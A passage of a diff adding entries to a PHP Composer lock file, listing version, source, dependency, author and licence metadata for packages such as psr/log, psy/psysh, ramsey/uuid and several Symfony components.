+ "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interface for logging libraries", + "homepage": "https://github.com/php-fig/log", + "keywords": [ + "log", + "psr", + "psr-3" + ], + "support": { + "source": "https://github.com/php-fig/log/tree/3.0.2" + }, + "time": "2024-09-11T13:17:53+00:00" + }, + { + "name": "psr/simple-cache", + "version": "3.0.0", + "source": { + "type": "git", + "url": "https://github.com/php-fig/simple-cache.git", + "reference": "764e0b3939f5ca87cb904f570ef9be2d78a07865" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/simple-cache/zipball/764e0b3939f5ca87cb904f570ef9be2d78a07865", + "reference": "764e0b3939f5ca87cb904f570ef9be2d78a07865", + "shasum": "" + }, + "require": { + "php": ">=8.0.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Psr\\SimpleCache\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common interfaces for simple caching", + "keywords": [ + "cache", + "caching", + "psr", + "psr-16", + "simple-cache" + ], + "support": { + "source": "https://github.com/php-fig/simple-cache/tree/3.0.0" + }, + "time": "2021-10-29T13:26:27+00:00" + }, + { + "name": "psy/psysh", + "version": "v0.12.24", + "source": { + "type": "git", + "url": "https://github.com/bobthecow/psysh.git", + "reference": "ca0fdcf8a7617afa3adfdf1b5fef573dffb69ca1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/bobthecow/psysh/zipball/ca0fdcf8a7617afa3adfdf1b5fef573dffb69ca1", + "reference": "ca0fdcf8a7617afa3adfdf1b5fef573dffb69ca1", + "shasum": "" + }, + "require": { + "ext-json": "*", + "ext-tokenizer": "*", + "nikic/php-parser": "^5.0 || ^4.0", + "php": "^8.0 || ^7.4", + "symfony/console": "^8.0 || ^7.0 || ^6.0 || ^5.0 || ^4.0 || ^3.4", + "symfony/var-dumper": "^8.0 || ^7.0 || ^6.0 || ^5.0 || ^4.0 || ^3.4" + }, + "conflict": { + "symfony/console": "4.4.37 || 5.3.14 || 5.3.15 || 5.4.3 || 5.4.4 || 6.0.3 || 6.0.4" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.2", + "composer/class-map-generator": "^1.6" + }, + "suggest": { + "composer/class-map-generator": "Improved tab completion performance with better class discovery.", + "ext-pcntl": "Enabling the PCNTL extension makes PsySH a lot happier :)", + "ext-posix": "If you have PCNTL, you'll want the POSIX extension as well." + }, + "bin": [ + "bin/psysh" + ], + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": false, + "forward-command": false + }, + "branch-alias": { + "dev-main": "0.12.x-dev" + } + }, + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Psy\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Justin Hileman", + "email": "justin@justinhileman.info" + } + ], + "description": "An interactive shell for modern PHP.", + "homepage": "https://psysh.org", + "keywords": [ + "REPL", + "console", + "interactive", + "shell" + ], + "support": { + "issues": "https://github.com/bobthecow/psysh/issues", + "source": "https://github.com/bobthecow/psysh/tree/v0.12.24" + }, + "time": "2026-06-29T15:41:09+00:00" + }, + { + "name": "ralouphie/getallheaders", + "version": "3.0.3", + "source": { + "type": "git", + "url": "https://github.com/ralouphie/getallheaders.git", + "reference": "120b605dfeb996808c31b6477290a714d356e822" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ralouphie/getallheaders/zipball/120b605dfeb996808c31b6477290a714d356e822", + "reference": "120b605dfeb996808c31b6477290a714d356e822", + "shasum": "" + }, + "require": { + "php": ">=5.6" + }, + "require-dev": { + "php-coveralls/php-coveralls": "^2.1", + "phpunit/phpunit": "^5 || ^6.5" + }, + "type": "library", + "autoload": { + "files": [ + "src/getallheaders.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ralph Khattar", + "email": "ralph.khattar@gmail.com" + } + ], + "description": "A polyfill for getallheaders.", + "support": { + "issues": "https://github.com/ralouphie/getallheaders/issues", + "source": "https://github.com/ralouphie/getallheaders/tree/develop" + }, + "time": "2019-03-08T08:55:37+00:00" + }, + { + "name": "ramsey/collection", + "version": "2.1.1", + "source": { + "type": "git", + "url": "https://github.com/ramsey/collection.git", + "reference": "344572933ad0181accbf4ba763e85a0306a8c5e2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ramsey/collection/zipball/344572933ad0181accbf4ba763e85a0306a8c5e2", + "reference": "344572933ad0181accbf4ba763e85a0306a8c5e2", + "shasum": "" + }, + "require": { + "php": "^8.1" + }, + "require-dev": { + "captainhook/plugin-composer": "^5.3", + "ergebnis/composer-normalize": "^2.45", + "fakerphp/faker": "^1.24", + "hamcrest/hamcrest-php": "^2.0", + "jangregor/phpstan-prophecy": "^2.1", + "mockery/mockery": "^1.6", + "php-parallel-lint/php-console-highlighter": "^1.0", + "php-parallel-lint/php-parallel-lint": "^1.4", + "phpspec/prophecy-phpunit": "^2.3", + "phpstan/extension-installer": "^1.4", + "phpstan/phpstan": "^2.1", + "phpstan/phpstan-mockery": "^2.0", + "phpstan/phpstan-phpunit": "^2.0", + "phpunit/phpunit": "^10.5", + "ramsey/coding-standard": "^2.3", + "ramsey/conventional-commits": "^1.6", + "roave/security-advisories": "dev-latest" + }, + "type": "library", + "extra": { + "captainhook": { + "force-install": true + }, + "ramsey/conventional-commits": { + "configFile": "conventional-commits.json" + } + }, + "autoload": { + "psr-4": { + "Ramsey\\Collection\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ben Ramsey", + "email": "ben@benramsey.com", + "homepage": "https://benramsey.com" + } + ], + "description": "A PHP library for representing and manipulating collections.", + "keywords": [ + "array", + "collection", + "hash", + "map", + "queue", + "set" + ], + "support": { + "issues": "https://github.com/ramsey/collection/issues", + "source": "https://github.com/ramsey/collection/tree/2.1.1" + }, + "time": "2025-03-22T05:38:12+00:00" + }, + { + "name": "ramsey/uuid", + "version": "4.9.3", + "source": { + "type": "git", + "url": "https://github.com/ramsey/uuid.git", + "reference": "1df15849d00943a67d677dc9cfd80795f038c9f8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ramsey/uuid/zipball/1df15849d00943a67d677dc9cfd80795f038c9f8", + "reference": "1df15849d00943a67d677dc9cfd80795f038c9f8", + "shasum": "" + }, + "require": { + "brick/math": ">=0.8.16 <=0.18", + "php": "^8.0", + "ramsey/collection": "^1.2 || ^2.0" + }, + "replace": { + "rhumsaa/uuid": "self.version" + }, + "require-dev": { + "captainhook/captainhook": "^5.25", + "captainhook/plugin-composer": "^5.3", + "dealerdirect/phpcodesniffer-composer-installer": "^1.0", + "ergebnis/composer-normalize": "^2.47", + "mockery/mockery": "^1.6", + "paragonie/random-lib": "^2", + "php-mock/php-mock": "^2.6", + "php-mock/php-mock-mockery": "^1.5", + "php-parallel-lint/php-parallel-lint": "^1.4.0", + "phpbench/phpbench": "^1.2.14", + "phpstan/extension-installer": "^1.4", + "phpstan/phpstan": "^2.1", + "phpstan/phpstan-mockery": "^2.0", + "phpstan/phpstan-phpunit": "^2.0", + "phpunit/phpunit": "^9.6", + "slevomat/coding-standard": "^8.18", + "squizlabs/php_codesniffer": "^3.13" + }, + "suggest": { + "ext-bcmath": "Enables faster math with arbitrary-precision integers using BCMath.", + "ext-gmp": "Enables faster math with arbitrary-precision integers using GMP.", + "ext-uuid": "Enables the use of PeclUuidTimeGenerator and PeclUuidRandomGenerator.", + "paragonie/random-lib": "Provides RandomLib for use with the RandomLibAdapter", + "ramsey/uuid-doctrine": "Allows the use of Ramsey\\Uuid\\Uuid as Doctrine field type." + }, + "type": "library", + "extra": { + "captainhook": { + "force-install": true + } + }, + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Ramsey\\Uuid\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "A PHP library for generating and working with universally unique identifiers (UUIDs).", + "keywords": [ + "guid", + "identifier", + "uuid" + ], + "support": { + "issues": "https://github.com/ramsey/uuid/issues", + "source": "https://github.com/ramsey/uuid/tree/4.9.3" + }, + "time": "2026-06-18T03:57:49+00:00" + }, + { + "name": "spatie/laravel-package-tools", + "version": "1.93.1", + "source": { + "type": "git", + "url": "https://github.com/spatie/laravel-package-tools.git", + "reference": "d5552849801f2642aea710557463234b59ef65eb" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/spatie/laravel-package-tools/zipball/d5552849801f2642aea710557463234b59ef65eb", + "reference": "d5552849801f2642aea710557463234b59ef65eb", + "shasum": "" + }, + "require": { + "illuminate/contracts": "^10.0|^11.0|^12.0|^13.0", + "php": "^8.1" + }, + "require-dev": { + "mockery/mockery": "^1.5", + "orchestra/testbench": "^8.0|^9.2|^10.0|^11.0", + "pestphp/pest": "^2.1|^3.1|^4.0", + "phpunit/php-code-coverage": "^10.0|^11.0|^12.0", + "phpunit/phpunit": "^10.5|^11.5|^12.5", + "spatie/pest-plugin-test-time": "^2.2|^3.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Spatie\\LaravelPackageTools\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Freek Van der Herten", + "email": "freek@spatie.be", + "role": "Developer" + } + ], + "description": "Tools for creating Laravel packages", + "homepage": "https://github.com/spatie/laravel-package-tools", + "keywords": [ + "laravel-package-tools", + "spatie" + ], + "support": { + "issues": "https://github.com/spatie/laravel-package-tools/issues", + "source": "https://github.com/spatie/laravel-package-tools/tree/1.93.1" + }, + "funding": [ + { + "url": "https://github.com/spatie", + "type": "github" + } + ], + "time": "2026-05-19T14:06:37+00:00" + }, + { + "name": "stevebauman/purify", + "version": "v6.3.2", + "source": { + "type": "git", + "url": "https://github.com/stevebauman/purify.git", + "reference": "deba4aa55a45a7593c369b52d481c87b545a5bf8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/stevebauman/purify/zipball/deba4aa55a45a7593c369b52d481c87b545a5bf8", + "reference": "deba4aa55a45a7593c369b52d481c87b545a5bf8", + "shasum": "" + }, + "require": { + "ezyang/htmlpurifier": "^4.17", + "illuminate/contracts": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "php": ">=7.4" + }, + "require-dev": { + "orchestra/testbench": "^5.0|^6.0|^7.0|^8.0|^9.0|^10.0|^11.0", + "phpunit/phpunit": "^8.0|^9.0|^10.0|^11.5.3|^12.5.12" + }, + "type": "library", + "extra": { + "laravel": { + "aliases": { + "Purify": "Stevebauman\\Purify\\Facades\\Purify" + }, + "providers": [ + "Stevebauman\\Purify\\PurifyServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "Stevebauman\\Purify\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Steve Bauman", + "email": "steven_bauman@outlook.com" + } + ], + "description": "An HTML Purifier / Sanitizer for Laravel", + "keywords": [ + "Purifier", + "clean", + "cleaner", + "html", + "laravel", + "purification", + "purify" + ], + "support": { + "issues": "https://github.com/stevebauman/purify/issues", + "source": "https://github.com/stevebauman/purify/tree/v6.3.2" + }, + "time": "2026-03-18T16:42:42+00:00" + }, + { + "name": "symfony/clock", + "version": "v8.1.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/clock.git", + "reference": "701ef4de9705d6c32292ebee5e8044094a09fbf6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/clock/zipball/701ef4de9705d6c32292ebee5e8044094a09fbf6", + "reference": "701ef4de9705d6c32292ebee5e8044094a09fbf6", + "shasum": "" + }, + "require": { + "php": ">=8.4.1", + "psr/clock": "^1.0" + }, + "provide": { + "psr/clock-implementation": "1.0" + }, + "type": "library", + "autoload": { + "files": [ + "Resources/now.php" + ], + "psr-4": { + "Symfony\\Component\\Clock\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Decouples applications from the system clock", + "homepage": "https://symfony.com", + "keywords": [ + "clock", + "psr20", + "time" + ], + "support": { + "source": "https://github.com/symfony/clock/tree/v8.1.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-29T05:06:50+00:00" + }, + { + "name": "symfony/console", + "version": "v7.4.14", + "source": { + "type": "git", + "url": "https://github.com/symfony/console.git", + "reference": "92f58bc4bf97a92ed1b9f367f0cd44f20bde0e87" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/console/zipball/92f58bc4bf97a92ed1b9f367f0cd44f20bde0e87", + "reference": "92f58bc4bf97a92ed1b9f367f0cd44f20bde0e87", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/polyfill-mbstring": "~1.0", + "symfony/service-contracts": "^2.5|^3", + "symfony/string": "^7.2|^8.0" + }, + "conflict": { + "symfony/dependency-injection": "<6.4", + "symfony/dotenv": "<6.4", + "symfony/event-dispatcher": "<6.4", + "symfony/lock": "<6.4", + "symfony/process": "<6.4" + }, + "provide": { + "psr/log-implementation": "1.0|2.0|3.0" + }, + "require-dev": { + "psr/log": "^1|^2|^3", + "symfony/config": "^6.4|^7.0|^8.0", + "symfony/dependency-injection": "^6.4|^7.0|^8.0", + "symfony/event-dispatcher": "^6.4|^7.0|^8.0", + "symfony/http-foundation": "^6.4|^7.0|^8.0", + "symfony/http-kernel": "^6.4|^7.0|^8.0", + "symfony/lock": "^6.4|^7.0|^8.0", + "symfony/messenger": "^6.4|^7.0|^8.0", + "symfony/process": "^6.4|^7.0|^8.0", + "symfony/stopwatch": "^6.4|^7.0|^8.0", + "symfony/var-dumper": "^6.4|^7.0|^8.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Console\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Eases the creation of beautiful and testable command line interfaces", + "homepage": "https://symfony.com", + "keywords": [ + "cli", + "command-line", + "console", + "terminal" + ], + "support": { + "source": "https://github.com/symfony/console/tree/v7.4.14" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-16T11:50:14+00:00" + }, + { + "name": "symfony/css-selector", + "version": "v8.1.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/css-selector.git", + "reference": "dc0e2be45c9b5588c82414f02ac574b4b986abcd" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/css-selector/zipball/dc0e2be45c9b5588c82414f02ac574b4b986abcd", + "reference": "dc0e2be45c9b5588c82414f02ac574b4b986abcd", + "shasum": "" + }, + "require": { + "php": ">=8.4.1" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\CssSelector\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Jean-François Simon", + "email": "jeanfrancois.simon@sensiolabs.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Converts CSS selectors to XPath expressions", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/css-selector/tree/v8.1.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-29T05:06:50+00:00" + }, + { + "name": "symfony/deprecation-contracts", + "version": "v3.7.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/deprecation-contracts.git", + "reference": "f3202fa1b5097b0af062dc978b32ecf63404e31d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/f3202fa1b5097b0af062dc978b32ecf63404e31d", + "reference": "f3202fa1b5097b0af062dc978b32ecf63404e31d", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/contracts", + "name": "symfony/contracts" + }, + "branch-alias": { + "dev-main": "3.7-dev" + } + }, + "autoload": { + "files": [ + "function.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "A generic function and convention to trigger deprecation notices", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/deprecation-contracts/tree/v3.7.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-05T06:23:12+00:00" + }, + { + "name": "symfony/error-handler", + "version": "v7.4.14", + "source": { + "type": "git", + "url": "https://github.com/symfony/error-handler.git", + "reference": "4e1a093b481f323e6e326451f9760c3868430673" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/error-handler/zipball/4e1a093b481f323e6e326451f9760c3868430673", + "reference": "4e1a093b481f323e6e326451f9760c3868430673", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "psr/log": "^1|^2|^3", + "symfony/polyfill-php85": "^1.32", + "symfony/var-dumper": "^6.4|^7.0|^8.0" + }, + "conflict": { + "symfony/deprecation-contracts": "<2.5", + "symfony/http-kernel": "<6.4" + }, + "require-dev": { + "symfony/console": "^6.4|^7.0|^8.0", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/http-kernel": "^6.4|^7.0|^8.0", + "symfony/serializer": "^6.4|^7.0|^8.0", + "symfony/webpack-encore-bundle": "^1.0|^2.0" + }, + "bin": [ + "Resources/bin/patch-type-declarations" + ], + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\ErrorHandler\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides tools to manage errors and ease debugging PHP code", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/error-handler/tree/v7.4.14" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-05T06:22:21+00:00" + }, + { + "name": "symfony/event-dispatcher", + "version": "v8.1.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/event-dispatcher.git", + "reference": "abd6c11dc468725d1627302ad10f6cd486e9e3d0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/abd6c11dc468725d1627302ad10f6cd486e9e3d0", + "reference": "abd6c11dc468725d1627302ad10f6cd486e9e3d0", + "shasum": "" + }, + "require": { + "php": ">=8.4.1", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/event-dispatcher-contracts": "^2.5|^3" + }, + "conflict": { + "symfony/security-http": "<7.4", + "symfony/service-contracts": "<2.5" + }, + "provide": { + "psr/event-dispatcher-implementation": "1.0", + "symfony/event-dispatcher-implementation": "2.0|3.0" + }, + "require-dev": { + "psr/log": "^1|^2|^3", + "symfony/config": "^7.4|^8.0", + "symfony/dependency-injection": "^7.4|^8.0", + "symfony/error-handler": "^7.4|^8.0", + "symfony/expression-language": "^7.4|^8.0", + "symfony/framework-bundle": "^7.4|^8.0", + "symfony/http-foundation": "^7.4|^8.0", + "symfony/service-contracts": "^2.5|^3", + "symfony/stopwatch": "^7.4|^8.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\EventDispatcher\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides tools that allow your application components to communicate with each other by dispatching events and listening to them", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/event-dispatcher/tree/v8.1.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-09T12:28:30+00:00" + }, + { + "name": "symfony/event-dispatcher-contracts", + "version": "v3.7.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/event-dispatcher-contracts.git", + "reference": "c7de7a00ffb67842132da02ea92988a39ccd9f4e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/event-dispatcher-contracts/zipball/c7de7a00ffb67842132da02ea92988a39ccd9f4e", + "reference": "c7de7a00ffb67842132da02ea92988a39ccd9f4e", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "psr/event-dispatcher": "^1" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/contracts", + "name": "symfony/contracts" + }, + "branch-alias": { + "dev-main": "3.7-dev" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Contracts\\EventDispatcher\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Generic abstractions related to dispatching event", + "homepage": "https://symfony.com", + "keywords": [ + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" + ], + "support": { + "source": "https://github.com/symfony/event-dispatcher-contracts/tree/v3.7.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-05T06:23:12+00:00" + }, + { + "name": "symfony/filesystem", + "version": "v8.1.2", + "source": { + "type": "git", + "url": "https://github.com/symfony/filesystem.git", + "reference": "17856b7a222664a26a5ea1cb06ee0721c2438217" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/17856b7a222664a26a5ea1cb06ee0721c2438217", + "reference": "17856b7a222664a26a5ea1cb06ee0721c2438217", + "shasum": "" + }, + "require": { + "php": ">=8.4.1", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/polyfill-ctype": "~1.8", + "symfony/polyfill-mbstring": "~1.8" + }, + "require-dev": { + "symfony/process": "^7.4|^8.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Filesystem\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides basic utilities for the filesystem", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/filesystem/tree/v8.1.2" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-07-22T15:42:13+00:00" + }, + { + "name": "symfony/finder", + "version": "v7.4.14", + "source": { + "type": "git", + "url": "https://github.com/symfony/finder.git", + "reference": "13b38720174286f55d1761152b575a8d1436fc25" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/finder/zipball/13b38720174286f55d1761152b575a8d1436fc25", + "reference": "13b38720174286f55d1761152b575a8d1436fc25", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "symfony/filesystem": "^6.4|^7.0|^8.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Finder\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Finds files and directories via an intuitive fluent interface", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/finder/tree/v7.4.14" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-27T08:31:18+00:00" + }, + { + "name": "symfony/http-foundation", + "version": "v7.4.14", + "source": { + "type": "git", + "url": "https://github.com/symfony/http-foundation.git", + "reference": "06db5ae1552177bf8572f8908839f12e3c06aed3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/http-foundation/zipball/06db5ae1552177bf8572f8908839f12e3c06aed3", + "reference": "06db5ae1552177bf8572f8908839f12e3c06aed3", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/polyfill-mbstring": "^1.1" + }, + "conflict": { + "doctrine/dbal": "<3.6", + "symfony/cache": "<6.4.12|>=7.0,<7.1.5" + }, + "require-dev": { + "doctrine/dbal": "^3.6|^4", + "predis/predis": "^1.1|^2.0", + "symfony/cache": "^6.4.12|^7.1.5|^8.0", + "symfony/clock": "^6.4|^7.0|^8.0", + "symfony/dependency-injection": "^6.4|^7.0|^8.0", + "symfony/expression-language": "^6.4|^7.0|^8.0", + "symfony/http-kernel": "^6.4|^7.0|^8.0", + "symfony/mime": "^6.4|^7.0|^8.0", + "symfony/rate-limiter": "^6.4|^7.0|^8.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\HttpFoundation\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Defines an object-oriented layer for the HTTP specification", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/http-foundation/tree/v7.4.14" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-11T07:31:44+00:00" + }, + { + "name": "symfony/http-kernel", + "version": "v7.4.14", + "source": { + "type": "git", + "url": "https://github.com/symfony/http-kernel.git", + "reference": "e99af79b1e776646eda0e1c23b7b45c184ff99be" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/http-kernel/zipball/e99af79b1e776646eda0e1c23b7b45c184ff99be", + "reference": "e99af79b1e776646eda0e1c23b7b45c184ff99be", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "psr/log": "^1|^2|^3", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/error-handler": "^6.4|^7.0|^8.0", + "symfony/event-dispatcher": "^7.3|^8.0", + "symfony/http-foundation": "^7.4|^8.0", + "symfony/polyfill-ctype": "^1.8" + }, + "conflict": { + "symfony/browser-kit": "<6.4", + "symfony/cache": "<6.4", + "symfony/config": "<6.4", + "symfony/console": 